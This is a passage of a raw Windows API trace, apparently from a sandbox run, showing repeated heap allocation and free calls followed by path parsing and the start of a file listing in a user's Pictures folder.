Size=0x70) returned 0x3084030 [0126.220] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.220] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.220] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.220] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.220] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.220] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.220] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.220] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.220] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.220] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.220] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.220] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.220] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.220] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.220] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.220] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.220] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.220] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.220] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.220] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0126.220] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.220] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.220] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.220] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.220] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.220] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.220] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.221] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.221] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.221] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.221] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.221] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.221] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.221] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.221] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.221] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.221] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.221] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.221] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.221] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.221] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.221] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.221] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.221] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.221] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.221] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.221] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.221] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.221] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.221] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.221] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.221] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.221] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.221] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.221] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.221] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.221] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.221] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.221] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.222] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.222] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.222] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.222] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.222] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.222] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.222] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.222] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.222] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.222] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.222] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.222] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.222] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.222] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.222] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.222] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.222] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.222] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.222] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.222] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.222] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.222] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.222] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.222] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.222] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.222] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.222] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.222] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.222] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.222] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.222] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.222] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.222] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.223] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.223] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.223] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.223] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.223] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.223] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.223] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.223] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.223] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.223] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.223] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.223] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.223] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.223] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.223] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.223] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.223] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.223] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.223] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.223] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.223] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.223] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.223] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.223] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.223] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.223] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.223] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.223] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.223] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.223] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.223] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.223] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.224] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.224] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.224] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.224] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.224] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.224] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.224] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.224] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.224] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.224] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.224] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.224] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.224] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.224] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.224] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.224] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.224] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.224] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.224] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.224] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.224] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.224] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.224] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.224] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.224] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.224] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.224] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.224] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.224] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.224] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.224] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.225] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.225] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.225] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.225] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.225] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.225] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.225] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.225] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.225] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.225] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.225] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.225] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.225] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.225] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.225] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.225] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.225] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.225] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.225] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.225] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.225] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.225] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.225] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.225] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.225] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.225] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.225] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.225] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.225] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.225] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.225] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.225] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.225] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.226] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.226] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.226] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.226] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.226] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.226] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.226] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.226] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.226] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.226] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.226] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.226] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.226] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.226] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.226] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.226] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.226] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.226] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.226] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\r-u9vnXsx8Ur0\\") returned="r-u9vnXsx8Ur0\\" [0126.226] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0126.226] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f7b8 [0126.226] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.226] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0126.226] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0126.226] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f7b8 | out: hHeap=0x5c0000) returned 1 [0126.226] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.226] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0126.226] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0126.226] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0126.226] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042148 | out: hHeap=0x5c0000) returned 1 [0126.226] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.226] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0126.227] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.227] PathFindFileNameW (pszPath="") returned="" [0126.227] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.227] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\r-u9vnXsx8Ur0\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8184c870, ftCreationTime.dwHighDateTime=0x1d4c8d1, ftLastAccessTime.dwLowDateTime=0x40683ef0, ftLastAccessTime.dwHighDateTime=0x1d4c703, ftLastWriteTime.dwLowDateTime=0x40683ef0, ftLastWriteTime.dwHighDateTime=0x1d4c703, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0126.227] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.227] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8184c870, ftCreationTime.dwHighDateTime=0x1d4c8d1, ftLastAccessTime.dwLowDateTime=0x40683ef0, ftLastAccessTime.dwHighDateTime=0x1d4c703, ftLastWriteTime.dwLowDateTime=0x40683ef0, ftLastWriteTime.dwHighDateTime=0x1d4c703, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.227] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1418cb60, ftCreationTime.dwHighDateTime=0x1d4d2e5, ftLastAccessTime.dwLowDateTime=0x211b0f80, ftLastAccessTime.dwHighDateTime=0x1d4d1be, ftLastWriteTime.dwLowDateTime=0x211b0f80, ftLastWriteTime.dwHighDateTime=0x1d4d1be, nFileSizeHigh=0x0, nFileSizeLow=0x13a41, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ampfWs0z5kbstxRZUv.png", cAlternateFileName="AMPFWS~1.PNG")) returned 1 [0126.227] 